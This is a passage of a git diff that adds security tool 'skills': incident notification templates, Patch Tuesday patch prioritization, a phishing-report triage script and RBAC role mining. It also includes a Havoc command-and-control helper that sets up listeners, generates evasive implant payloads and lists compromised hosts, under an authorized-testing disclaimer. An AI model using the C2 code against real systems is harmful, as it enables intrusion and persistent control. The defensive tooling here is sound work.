datetime.utcnow().isoformat(), + "subject": f"Executive Briefing: Malware Incident {incident_id}", + "body": { + "overview": f"On {datetime.utcnow().strftime('%B %d, %Y')}, a {malware_type} incident affecting " + f"{affected_count} systems was detected and classified as {severity} severity.", + "business_impact": business_impact, + "timeline": timeline_events, + "response_effectiveness": { + "detection_to_containment": "Under assessment", + "systems_recovered": 0, + "data_loss": "Under investigation", + }, + "recommendations": [ + "Conduct post-incident review within 5 business days", + "Update incident response playbook based on lessons learned", + "Review and enhance detection capabilities for similar threats", + "Schedule tabletop exercise for similar scenarios", + ], + }, + } + return summary + + +def generate_regulatory_notification(incident_id, data_types_affected, record_count, jurisdiction): + """Generate regulatory breach notification template.""" + notification = { + "type": "regulatory_notification", + "incident_id": incident_id, + "timestamp": datetime.utcnow().isoformat(), + "subject": f"Data Breach Notification - Incident {incident_id}", + "jurisdiction": jurisdiction, + "body": { + "nature_of_breach": "Malware-related unauthorized access to personal data", + "data_categories": data_types_affected, + "approximate_records": record_count, + "date_of_awareness": datetime.utcnow().isoformat(), + "notification_deadline": (datetime.utcnow() + timedelta(hours=72)).isoformat() if jurisdiction == "GDPR" + else (datetime.utcnow() + timedelta(days=30)).isoformat(), + "measures_taken": ["Contained the incident", "Engaged forensic investigators", + "Notified law enforcement", "Implementing additional safeguards"], + "contact_dpo": "dpo@organization.com", + }, + } + return notification + + +def generate_full_template_set(incident_id, severity, malware_type, affected_systems, detected_by): + """Generate complete set of communication templates.""" + templates = { + "initial_notification": generate_initial_notification(incident_id, severity, malware_type, affected_systems, detected_by), + "containment_update": generate_status_update(incident_id, severity, "containment", "In progress", [], ["Hosts isolated"]), + "eradication_update": generate_status_update(incident_id, severity, "eradication", "Pending", [], []), + "recovery_update": generate_status_update(incident_id, severity, "recovery", "Pending", [], []), + "executive_summary": generate_executive_summary(incident_id, severity, malware_type, len(affected_systems), [], "Under assessment"), + } + return templates + + +def generate_report(templates): + """Generate communication template report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "template_count": len(templates), + "template_types": list(templates.keys()), + "templates": templates, + } + print(f"COMMUNICATION REPORT: {len(templates)} templates generated") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Malware Incident Communication Template Generator") + parser.add_argument("--incident-id", required=True, help="Incident identifier") + parser.add_argument("--severity", choices=["critical", "high", "medium", "low"], required=True) + parser.add_argument("--malware-type", choices=list(MALWARE_CATEGORIES.keys()), required=True) + parser.add_argument("--affected-systems", nargs="+", required=True) + parser.add_argument("--detected-by", default="EDR Alert") + parser.add_argument("--output", default="incident_comms_report.json") + args = parser.parse_args() + + templates = generate_full_template_set(args.incident_id, args.severity, args.malware_type, + args.affected_systems, args.detected_by) + report = generate_report(templates) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-patch-tuesday-response-process/LICENSE b/skills/building-patch-tuesday-response-process/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-patch-tuesday-response-process/LICENSE +++ b/skills/building-patch-tuesday-response-process/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-patch-tuesday-response-process/references/api-reference.md b/skills/building-patch-tuesday-response-process/references/api-reference.md new file mode 100644 index 00000000..4388469e --- /dev/null +++ b/skills/building-patch-tuesday-response-process/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Patch Tuesday Response Process + +## MSRC Security Update API +``` +GET https://api.msrc.microsoft.com/cvrf/v3.0/Updates('{yyyy-Mon}') +api-key: YOUR_MSRC_KEY +Accept: application/json +``` + +## CVRF Vulnerability Fields +| Field | Description | +|-------|-------------| +| `CVE` | CVE identifier | +| `Title.Value` | Vulnerability title | +| `Threats[].Description.Value` | Severity, exploitation status | +| `CVSSScoreSets[].BaseScore` | CVSS v3 base score | +| `ProductStatuses[].ProductID` | Affected product IDs | +| `Remediations[].URL` | KB article / patch URL | + +## CISA Known Exploited Vulnerabilities (KEV) +``` +GET https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json +``` + +### KEV Entry Fields +| Field | Description | +|-------|-------------| +| `cveID` | CVE identifier | +| `vendorProject` | Vendor name | +| `product` | Product name | +| `dateAdded` | Date added to KEV | +| `dueDate` | Remediation due date | + +## Patch Priority Matrix +| Priority | Criteria | SLA | +|----------|----------|-----| +| Emergency | Exploited + KEV + CVSS >= 9.0 | 24 hours | +| Critical | Exploited OR KEV + CVSS >= 7.0 | 72 hours | +| Standard | CVSS >= 7.0, no exploitation | 7 days | +| Routine | CVSS < 7.0, no exploitation | 30 days | + +## NVD API v2 +``` +GET https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={CVE-ID} +apiKey: YOUR_NVD_KEY +``` + +## WSUS Deployment API (PowerShell) +```powershell +$wsus = Get-WsusServer +$update = $wsus.SearchUpdates("KB5034441") +$group = $wsus.GetComputerTargetGroup("Production") +$update.Approve("Install", $group) +``` + +## Deployment Phase Timeline +| Phase | Window | Targets | +|-------|--------|---------| +| Emergency | 0-24h | Critical servers, exploited CVEs | +| Pilot | 24-72h | Test group (5% of fleet) | +| Broad | 3-7d | All production systems | +| Cleanup | 7-30d | Exceptions, rollback monitoring | diff --git a/skills/building-patch-tuesday-response-process/scripts/agent.py b/skills/building-patch-tuesday-response-process/scripts/agent.py new file mode 100644 index 00000000..7373713a --- /dev/null +++ b/skills/building-patch-tuesday-response-process/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Patch Tuesday Response Agent - Tracks Microsoft patches, assesses risk, and prioritizes deployment.""" + +import json +import logging +import argparse +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +MSRC_API_BASE = "https://api.msrc.microsoft.com/cvrf/v3.0" + + +def fetch_patch_tuesday_updates(api_key, year_month): + """Fetch Microsoft Security Update Guide data via MSRC API.""" + headers = {"api-key": api_key, "Accept": "application/json"} + resp = requests.get(f"{MSRC_API_BASE}/Updates('{year_month}')", headers=headers, timeout=30) + resp.raise_for_status() + data = resp.json() + logger.info("Fetched MSRC update for %s", year_month) + return data + + +def parse_vulnerabilities(cvrf_data): + """Parse CVRF data to extract vulnerability details.""" + vulns = [] + for vuln in cvrf_data.get("Vulnerability", []): + cve_id = vuln.get("CVE", "") + title = vuln.get("Title", {}).get("Value", "") + severity = "unknown" + cvss_score = 0.0 + exploited = False + for threat in vuln.get("Threats", []): + desc = threat.get("Description", {}).get("Value", "") + if "Exploited:Yes" in desc: + exploited = True + if threat.get("Type") == 3: + severity = desc + for score_set in vuln.get("CVSSScoreSets", []): + base = score_set.get("BaseScore", 0.0) + if base > cvss_score: + cvss_score = base + affected_products = [] + for product_status in vuln.get("ProductStatuses", []): + for pid in product_status.get("ProductID", []): + affected_products.append(pid) + vulns.append({ + "cve": cve_id, "title": title, "severity": severity, + "cvss_score": cvss_score, "exploited_in_wild": exploited, + "affected_product_ids": affected_products[:10], + }) + logger.info("Parsed %d vulnerabilities", len(vulns)) + return vulns + + +def check_cisa_kev(cve_list): + """Check CVEs against CISA Known Exploited Vulnerabilities catalog.""" + try: + resp = requests.get("https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", timeout=15) + resp.raise_for_status() + kev_data = resp.json() + kev_cves = {v["cveID"] for v in kev_data.get("vulnerabilities", [])} + in_kev = [cve for cve in cve_list if cve in kev_cves] + logger.info("Found %d CVEs in CISA KEV", len(in_kev)) + return in_kev + except requests.RequestException as e: + logger.warning("Failed to check CISA KEV: %s", e) + return [] + + +def prioritize_patches(vulns, kev_cves): + """Prioritize patches based on CVSS, exploitation status, and CISA KEV.""" + for vuln in vulns: + priority_score = 0 + if vuln["exploited_in_wild"]: + priority_score += 40 + if vuln["cve"] in kev_cves: + priority_score += 30 + if vuln["cvss_score"] >= 9.0: + priority_score += 20 + elif vuln["cvss_score"] >= 7.0: + priority_score += 10 + if vuln["severity"].lower() == "critical": + priority_score += 10 + vuln["priority_score"] = priority_score + if priority_score >= 60: + vuln["deployment_urgency"] = "emergency" + vuln["sla_hours"] = 24 + elif priority_score >= 40: + vuln["deployment_urgency"] = "critical" + vuln["sla_hours"] = 72 + elif priority_score >= 20: + vuln["deployment_urgency"] = "standard" + vuln["sla_hours"] = 168 + else: + vuln["deployment_urgency"] = "routine" + vuln["sla_hours"] = 720 + return sorted(vulns, key=lambda v: v["priority_score"], reverse=True) + + +def generate_deployment_plan(prioritized_vulns): + """Generate phased deployment plan.""" + phases = {"emergency_24h": [], "critical_72h": [], "standard_7d": [], "routine_30d": []} + for vuln in prioritized_vulns: + urgency = vuln.get("deployment_urgency", "routine") + entry = {"cve": vuln["cve"], "title": vuln["title"], "cvss": vuln["cvss_score"], + "exploited": vuln["exploited_in_wild"]} + if urgency == "emergency": + phases["emergency_24h"].append(entry) + elif urgency == "critical": + phases["critical_72h"].append(entry) + elif urgency == "standard": + phases["standard_7d"].append(entry) + else: + phases["routine_30d"].append(entry) + return phases + + +def generate_report(vulns, kev_cves, deployment_plan, year_month): + """Generate Patch Tuesday response report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "patch_tuesday": year_month, + "total_vulnerabilities": len(vulns), + "actively_exploited": sum(1 for v in vulns if v.get("exploited_in_wild")), + "in_cisa_kev": len(kev_cves), + "critical_cvss": sum(1 for v in vulns if v.get("cvss_score", 0) >= 9.0), + "deployment_plan": deployment_plan, + "top_10_priority": [{"cve": v["cve"], "title": v["title"], "cvss": v["cvss_score"], + "exploited": v["exploited_in_wild"], "priority": v["priority_score"]} + for v in vulns[:10]], + } + print(f"PATCH TUESDAY REPORT ({year_month}): {len(vulns)} vulns, " + f"{report['actively_exploited']} exploited, {len(kev_cves)} in KEV") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Patch Tuesday Response Process Agent") + parser.add_argument("--api-key", required=True, help="MSRC API key") + parser.add_argument("--month", required=True, help="Year-Month (e.g., 2024-Jan)") + parser.add_argument("--output", default="patch_tuesday_report.json") + args = parser.parse_args() + + cvrf_data = fetch_patch_tuesday_updates(args.api_key, args.month) + vulns = parse_vulnerabilities(cvrf_data) + cve_list = [v["cve"] for v in vulns] + kev_cves = check_cisa_kev(cve_list) + prioritized = prioritize_patches(vulns, set(kev_cves)) + deployment_plan = generate_deployment_plan(prioritized) + report = generate_report(prioritized, kev_cves, deployment_plan, args.month) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-phishing-reporting-button-workflow/LICENSE b/skills/building-phishing-reporting-button-workflow/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-phishing-reporting-button-workflow/LICENSE +++ b/skills/building-phishing-reporting-button-workflow/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-phishing-reporting-button-workflow/references/api-reference.md b/skills/building-phishing-reporting-button-workflow/references/api-reference.md new file mode 100644 index 00000000..f8a9099c --- /dev/null +++ b/skills/building-phishing-reporting-button-workflow/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: Phishing Reporting Button Workflow + +## Email Parsing (Python email module) +```python +from email import policy +from email.parser import BytesParser + +with open("report.eml", "rb") as f: + msg = BytesParser(policy=policy.default).parse(f) +headers = { + "from": msg["From"], "subject": msg["Subject"], + "reply_to": msg["Reply-To"], "received": msg.get_all("Received") +} +``` + +## Phishing Indicators +| Indicator | Weight | Description | +|-----------|--------|-------------| +| Reply-To mismatch | 20 | From and Reply-To differ | +| SPF/DKIM fail | 25 | Authentication failure | +| Suspicious language | 10 | Urgency/credential patterns | +| Suspicious URL | 15 | Known bad TLDs or redirectors | +| Dangerous attachment | 30 | Executable file extensions | + +## VirusTotal URL Scan +``` +GET https://www.virustotal.com/api/v3/urls/{url_id} +x-apikey: YOUR_KEY +``` +URL ID = base64url(url) or sha256(url) + +## Dangerous File Extensions +| Category | Extensions | +|----------|-----------| +| Executables | `.exe`, `.scr`, `.bat`, `.cmd` | +| Scripts | `.js`, `.vbs`, `.ps1`, `.hta` | +| Disk images | `.iso`, `.img`, `.vhd` | +| Archives | `.zip` (password-protected), `.rar` | +| Documents | `.docm`, `.xlsm` (macro-enabled) | + +## Verdict Classification +| Score | Verdict | Action | +|-------|---------|--------| +| >= 50 | Phishing | Block sender, quarantine, create ticket | +| 25-49 | Suspicious | Analyst review required | +| < 25 | Benign | Close report, notify user | + +## Ticketing Integration +``` +POST /api/v2/tickets +Authorization: Bearer TOKEN +{ + "title": "Phishing Report: ...", + "severity": "high", + "description": "...", + "indicators": ["Reply-To mismatch", ...] +} +``` + +## Microsoft Report Message Add-in +``` +POST https://graph.microsoft.com/v1.0/users/{id}/messages/{msgId}/move +{"destinationId": "phishing-mailbox-id"} +``` diff --git a/skills/building-phishing-reporting-button-workflow/scripts/agent.py b/skills/building-phishing-reporting-button-workflow/scripts/agent.py new file mode 100644 index 00000000..5e4d2035 --- /dev/null +++ b/skills/building-phishing-reporting-button-workflow/scripts/agent.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +"""Phishing Reporting Button Workflow Agent - Processes user-reported phishing emails via button integration.""" + +import json +import logging +import argparse +import re +import hashlib +from datetime import datetime +from email import policy +from email.parser import BytesParser + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +SUSPICIOUS_PATTERNS = [ + re.compile(r"urgent|immediate action|verify your account|click here now", re.IGNORECASE), + re.compile(r"password.*expir|account.*suspend|unusual.*activity", re.IGNORECASE), + re.compile(r"wire transfer|bitcoin|gift card|western union", re.IGNORECASE), + re.compile(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}", re.IGNORECASE), +] + +URL_PATTERN = re.compile(r"https?://[^\s\"'<>]+") + + +def parse_reported_email(eml_path): + """Parse a reported phishing email from .eml file.""" + with open(eml_path, "rb") as f: + msg = BytesParser(policy=policy.default).parse(f) + headers = { + "from": msg.get("From", ""), + "to": msg.get("To", ""), + "subject": msg.get("Subject", ""), + "date": msg.get("Date", ""), + "return_path": msg.get("Return-Path", ""), + "reply_to": msg.get("Reply-To", ""), + "message_id": msg.get("Message-ID", ""), + "received": [str(h) for h in msg.get_all("Received", [])], + } + body = "" + if msg.is_multipart(): + for part in msg.walk(): + ct = part.get_content_type() + if ct == "text/plain": + body = part.get_content() + break + elif ct == "text/html" and not body: + body = part.get_content() + else: + body = msg.get_content() + attachments = [] + for part in msg.walk(): + fn = part.get_filename() + if fn: + content = part.get_payload(decode=True) + attachments.append({"filename": fn, "size": len(content) if content else 0, + "sha256": hashlib.sha256(content).hexdigest() if content else ""}) + logger.info("Parsed email: subject='%s', %d attachments", headers["subject"], len(attachments)) + return {"headers": headers, "body": body[:5000], "attachments": attachments} + + +def analyze_email(parsed): + """Analyze reported email for phishing indicators.""" + findings = [] + score = 0 + headers = parsed["headers"] + body = parsed.get("body", "") + from_addr = headers.get("from", "") + reply_to = headers.get("reply_to", "") + if reply_to and reply_to != from_addr: + findings.append({"indicator": "Reply-To mismatch", "detail": f"From: {from_addr}, Reply-To: {reply_to}", "weight": 20}) + score += 20 + auth_results = headers.get("authentication_results", "") + if "spf=fail" in auth_results.lower() or "dkim=fail" in auth_results.lower(): + findings.append({"indicator": "Email authentication failure", "detail": auth_results[:200], "weight": 25}) + score += 25 + for pat in SUSPICIOUS_PATTERNS: + matches = pat.findall(body) + if matches: + findings.append({"indicator": "Suspicious language", "detail": matches[0][:100], "weight": 10}) + score += 10 + urls = URL_PATTERN.findall(body) + suspicious_urls = [u for u in urls if any(kw in u.lower() for kw in [".tk", ".ml", ".ga", "bit.ly", + "tinyurl", "redirect", "login", "verify", "secure-"])] + if suspicious_urls: + findings.append({"indicator": "Suspicious URLs", "detail": suspicious_urls[:5], "weight": 15}) + score += 15 * len(suspicious_urls[:3]) + for att in parsed.get("attachments", []): + fn = att["filename"].lower() + if any(fn.endswith(ext) for ext in [".exe", ".scr", ".js", ".vbs", ".bat", ".ps1", ".hta", ".iso", ".img"]): + findings.append({"indicator": "Dangerous attachment", "detail": att["filename"], "weight": 30}) + score += 30 + verdict = "phishing" if score >= 50 else "suspicious" if score >= 25 else "benign" + return {"score": min(score, 100), "verdict": verdict, "findings": findings, "url_count": len(urls), + "attachment_count": len(parsed.get("attachments", []))} + + +def check_urls_virustotal(urls, api_key): + """Check extracted URLs against VirusTotal.""" + results = [] + for url in urls[:5]: + try: + url_id = hashlib.sha256(url.encode()).hexdigest() + resp = requests.get(f"https://www.virustotal.com/api/v3/urls/{url_id}", + headers={"x-apikey": api_key}, timeout=10) + if resp.status_code == 200: + stats = resp.json().get("data", {}).get("attributes", {}).get("last_analysis_stats", {}) + results.append({"url": url, "malicious": stats.get("malicious", 0), "suspicious": stats.get("suspicious", 0)}) + except requests.RequestException: + results.append({"url": url, "error": "lookup_failed"}) + return results + + +def create_ticket(analysis, parsed, ticketing_url=None, api_key=None): + """Create incident ticket from analysis results.""" + ticket = { + "title": f"Phishing Report: {parsed['headers'].get('subject', 'No Subject')[:80]}", + "severity": "high" if analysis["verdict"] == "phishing" else "medium" if analysis["verdict"] == "suspicious" else "low", + "description": f"User-reported phishing email. Verdict: {analysis['verdict']} (score: {analysis['score']})", + "indicators": [f["indicator"] for f in analysis["findings"]], + "reported_from": parsed["headers"].get("to", ""), + "suspicious_sender": parsed["headers"].get("from", ""), + } + if ticketing_url and api_key: + try: + resp = requests.post(f"{ticketing_url}/api/v2/tickets", + headers={"Authorization": f"Bearer {api_key}"}, json=ticket, timeout=10) + ticket["ticket_id"] = resp.json().get("id") + except requests.RequestException: + ticket["ticket_id"] = "creation_failed" + return ticket + + +def generate_report(parsed, analysis, ticket): + """Generate phishing report workflow report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "email_subject": parsed["headers"].get("subject", ""), + "sender": parsed["headers"].get("from", ""), + "analysis": analysis, + "ticket": ticket, + } + print(f"PHISHING REPORT: {analysis['verdict'].upper()} (score={analysis['score']}), " + f"{len(analysis['findings'])} indicators") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Phishing Reporting Button Workflow Agent") + parser.add_argument("--eml-file", required=True, help="Path to reported .eml file") + parser.add_argument("--vt-key", help="VirusTotal API key for URL checks") + parser.add_argument("--output", default="phishing_report.json") + args = parser.parse_args() + + parsed = parse_reported_email(args.eml_file) + analysis = analyze_email(parsed) + ticket = create_ticket(analysis, parsed) + report = generate_report(parsed, analysis, ticket) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/LICENSE b/skills/building-red-team-c2-infrastructure-with-havoc/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-red-team-c2-infrastructure-with-havoc/LICENSE +++ b/skills/building-red-team-c2-infrastructure-with-havoc/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md b/skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md new file mode 100644 index 00000000..6eb0d97c --- /dev/null +++ b/skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md @@ -0,0 +1,81 @@ +# API Reference: Red Team C2 Infrastructure with Havoc + +> For authorized penetration testing and lab environments only. + +## Havoc Teamserver API +``` +Base URL: https://{teamserver}:{port}/api/ +Authorization: Bearer {token} +``` + +## Listener Endpoints +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/listeners` | List active listeners | +| POST | `/api/listeners` | Create new listener | +| DELETE | `/api/listeners/{name}` | Remove listener | + +## Agent (Demon) Endpoints +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/agents` | List connected agents | +| POST | `/api/agents/{id}/command` | Task agent | +| GET | `/api/agents/{id}/output` | Get task output | + +## HTTPS Listener Config +```json +{ + "name": "https-c2", + "protocol": "Https", + "host": "0.0.0.0", + "port": 443, + "hosts": ["c2.example.com"], + "secure": true, + "user_agent": "Mozilla/5.0 ..." +} +``` + +## SMB Listener Config +```json +{ + "name": "smb-pivot", + "protocol": "Smb", + "pipe_name": "\\\\.\\pipe\\mojo_ipc" +} +``` + +## Payload Generation +```json +POST /api/payloads/generate +{ + "listener": "https-c2", + "arch": "x64", + "format": "exe", + "config": { + "sleep": 5, + "jitter": 20, + "indirect_syscalls": true, + "sleep_technique": "WaitForSingleObjectEx" + } +} +``` + +## Payload Formats +| Format | Description | +|--------|-------------| +| `exe` | Windows PE executable | +| `dll` | DLL side-loading | +| `shellcode` | Raw shellcode | +| `service_exe` | Windows service binary | + +## Agent Properties +| Field | Description | +|-------|-------------| +| `agent_id` | Unique identifier | +| `hostname` | Target hostname | +| `username` | Running user context | +| `os` | Operating system | +| `process_name` | Host process | +| `pid` | Process ID | +| `sleep` | Callback interval (seconds) | +| `last_callback` | Last check-in time | diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/scripts/agent.py b/skills/building-red-team-c2-infrastructure-with-havoc/scripts/agent.py new file mode 100644 index 00000000..55943a3f --- /dev/null +++ b/skills/building-red-team-c2-infrastructure-with-havoc/scripts/agent.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +"""Havoc C2 Infrastructure Builder Agent - Manages Havoc C2 framework deployment and listener setup. + +# For authorized penetration testing and lab environments only. +""" + +import json +import logging +import argparse +import subprocess +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +HAVOC_DEFAULT_PORT = 40056 + + +def havoc_api_request(teamserver, endpoint, token, method="GET", data=None): + """Make authenticated request to Havoc teamserver API.""" + url = f"https://{teamserver}/api/{endpoint}" + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + try: + if method == "GET": + resp = requests.get(url, headers=headers, timeout=15, verify=False) + else: + resp = requests.post(url, headers=headers, json=data or {}, timeout=15, verify=False) + resp.raise_for_status() + return resp.json() + except requests.RequestException as e: + logger.error("Havoc API request failed: %s", e) + return {"error": str(e)} + + +def list_listeners(teamserver, token): + """List active listeners on the teamserver.""" + data = havoc_api_request(teamserver, "listeners", token) + listeners = data.get("listeners", []) + logger.info("Found %d active listeners", len(listeners)) + return listeners + + +def create_https_listener(teamserver, token, name, bind_addr, bind_port, hosts, secure=True): + """Create an HTTPS listener.""" + config = { + "name": name, + "protocol": "Https", + "host": bind_addr, + "port": bind_port, + "hosts": hosts, + "secure": secure, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "headers": ["Content-Type: application/json", "X-Forwarded-For: 127.0.0.1"], + } + result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config) + logger.info("Created HTTPS listener '%s' on %s:%d", name, bind_addr, bind_port) + return result + + +def create_smb_listener(teamserver, token, name, pipe_name): + """Create an SMB named pipe listener for pivoting.""" + config = {"name": name, "protocol": "Smb", "pipe_name": pipe_name} + result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config) + logger.info("Created SMB listener '%s' on pipe %s", name, pipe_name) + return result + + +def list_agents(teamserver, token): + """List connected agents (demons).""" + data = havoc_api_request(teamserver, "agents", token) + agents = data.get("agents", []) + logger.info("Found %d connected agents", len(agents)) + return [{"id": a.get("agent_id"), "hostname": a.get("hostname"), "username": a.get("username"), + "os": a.get("os"), "process": a.get("process_name"), "pid": a.get("pid"), + "last_callback": a.get("last_callback"), "sleep": a.get("sleep")} for a in agents] + + +def generate_payload(teamserver, token, listener_name, payload_type="exe", arch="x64"): + """Generate a Havoc demon payload.""" + config = { + "listener": listener_name, + "arch": arch, + "format": payload_type, + "config": { + "sleep": 5, + "jitter": 20, + "indirect_syscalls": True, + "stack_duplication": True, + "sleep_technique": "WaitForSingleObjectEx", + }, + } + result = havoc_api_request(teamserver, "payloads/generate", token, method="POST", data=config) + logger.info("Generated %s payload for listener '%s'", payload_type, listener_name) + return result + + +def assess_infrastructure(listeners, agents): + """Assess C2 infrastructure health and coverage.""" + assessment = { + "listener_count": len(listeners), + "agent_count": len(agents), + "protocols_in_use": list(set(l.get("protocol", "unknown") for l in listeners)), + "unique_hosts": list(set(a.get("hostname", "unknown") for a in agents)), + "stale_agents": [], + "recommendations": [], + } + for agent in agents: + sleep_val = agent.get("sleep", 0) + if sleep_val > 60: + assessment["stale_agents"].append(agent.get("id")) + if not any(l.get("protocol") == "Smb" for l in listeners): + assessment["recommendations"].append("Add SMB listener for internal pivoting") + if len(listeners) < 2: + assessment["recommendations"].append("Add redundant listeners for resilience") + if not agents: + assessment["recommendations"].append("No active agents - deploy payloads") + return assessment + + +def generate_report(listeners, agents, assessment): + """Generate C2 infrastructure report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "disclaimer": "For authorized penetration testing and lab environments only", + "listeners": listeners, + "agents": agents, + "infrastructure_assessment": assessment, + } + print(f"C2 REPORT: {len(listeners)} listeners, {len(agents)} agents, " + f"{len(assessment.get('recommendations', []))} recommendations") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Havoc C2 Infrastructure Builder (authorized testing only)") + parser.add_argument("--teamserver", required=True, help="Teamserver address (host:port)") + parser.add_argument("--token", required=True, help="API authentication token") + parser.add_argument("--action", choices=["status", "create-listener", "generate-payload", "full-report"], + default="full-report") + parser.add_argument("--listener-name", default="https-primary") + parser.add_argument("--bind-port", type=int, default=443) + parser.add_argument("--output", default="havoc_c2_report.json") + args = parser.parse_args() + + listeners = list_listeners(args.teamserver, args.token) + agents = list_agents(args.teamserver, args.token) + assessment = assess_infrastructure(listeners, agents) + report = generate_report(listeners, agents, assessment) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-role-mining-for-rbac-optimization/LICENSE b/skills/building-role-mining-for-rbac-optimization/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-role-mining-for-rbac-optimization/LICENSE +++ b/skills/building-role-mining-for-rbac-optimization/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-role-mining-for-rbac-optimization/references/api-reference.md b/skills/building-role-mining-for-rbac-optimization/references/api-reference.md new file mode 100644 index 00000000..eda909ac --- /dev/null +++ b/skills/building-role-mining-for-rbac-optimization/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Role Mining for RBAC Optimization + +## Input Format (CSV) +```csv +user,entitlement,system +john.doe,read_files,FileServer +john.doe,write_files,FileServer +jane.smith,read_files,FileServer +``` + +## Role Mining Algorithms + +### Bottom-Up Mining +Finds exact permission sets shared by >= N users. +- Input: user-permission matrix +- Output: candidate roles with exact permission sets +- Parameter: `min_users` (default: 2) + +### Top-Down Mining (Jaccard Clustering) +Groups users by permission similarity. +``` +Jaccard(A, B) = |A ∩ B| / |A ∪ B| +``` +- Threshold >= 0.8: strict similarity +- Threshold >= 0.6: moderate clustering + +## Optimization Metrics +| Metric | Description | +|--------|-------------| +| Total Assignments | Sum of all user-permission pairs | +| Candidate Roles | Discovered role count | +| Role Coverage | Users assigned to candidate roles | +| Avg Permissions/User | Assignment density | +| Outlier Count | Users with unique permissions | + +## SailPoint IdentityNow Role Mining API +``` +POST https://{tenant}.api.identitynow.com/beta/role-mining-sessions +Authorization: Bearer TOKEN +{ + "scope": {"included": {"identityIds": [...]}}, + "minEntitlementPopularity": 2, + "pruneThreshold": 50 +} +``` + +## SailPoint Role Mining Status +``` +GET /beta/role-mining-sessions/{sessionId} +GET /beta/role-mining-sessions/{sessionId}/potential-roles +``` + +## CyberArk Identity Role Optimization +``` +GET /Roles/GetRoleMembers?name={role} +POST /Roles/OptimizeRoles +{"minUsers": 3, "maxRoles": 50} +``` + +## NIST RBAC Model Levels +| Level | Description | +|-------|-------------| +| Core RBAC | Users, roles, permissions, sessions | +| Hierarchical | Role inheritance | +| Constrained | Separation of duty (SoD) | +| Symmetric | Permission-role review | diff --git a/skills/building-role-mining-for-rbac-optimization/scripts/agent.py b/skills/building-role-mining-for-rbac-optimization/scripts/agent.py new file mode 100644 index 00000000..2444e346 --- /dev/null +++ b/skills/building-role-mining-for-rbac-optimization/scripts/agent.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +"""Role Mining for RBAC Optimization Agent - Analyzes access patterns to optimize role-based access control.""" + +import json +import logging +import argparse +import csv +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def load_entitlements(csv_path): + """Load user-entitlement assignments from CSV (user,entitlement,system).""" + assignments = [] + with open(csv_path, newline="") as f: + reader = csv.DictReader(f) + for row in reader: + assignments.append({"user": row.get("user", "").strip(), "entitlement": row.get("entitlement", "").strip(), + "system": row.get("system", "").strip()}) + logger.info("Loaded %d user-entitlement assignments", len(assignments)) + return assignments + + +def 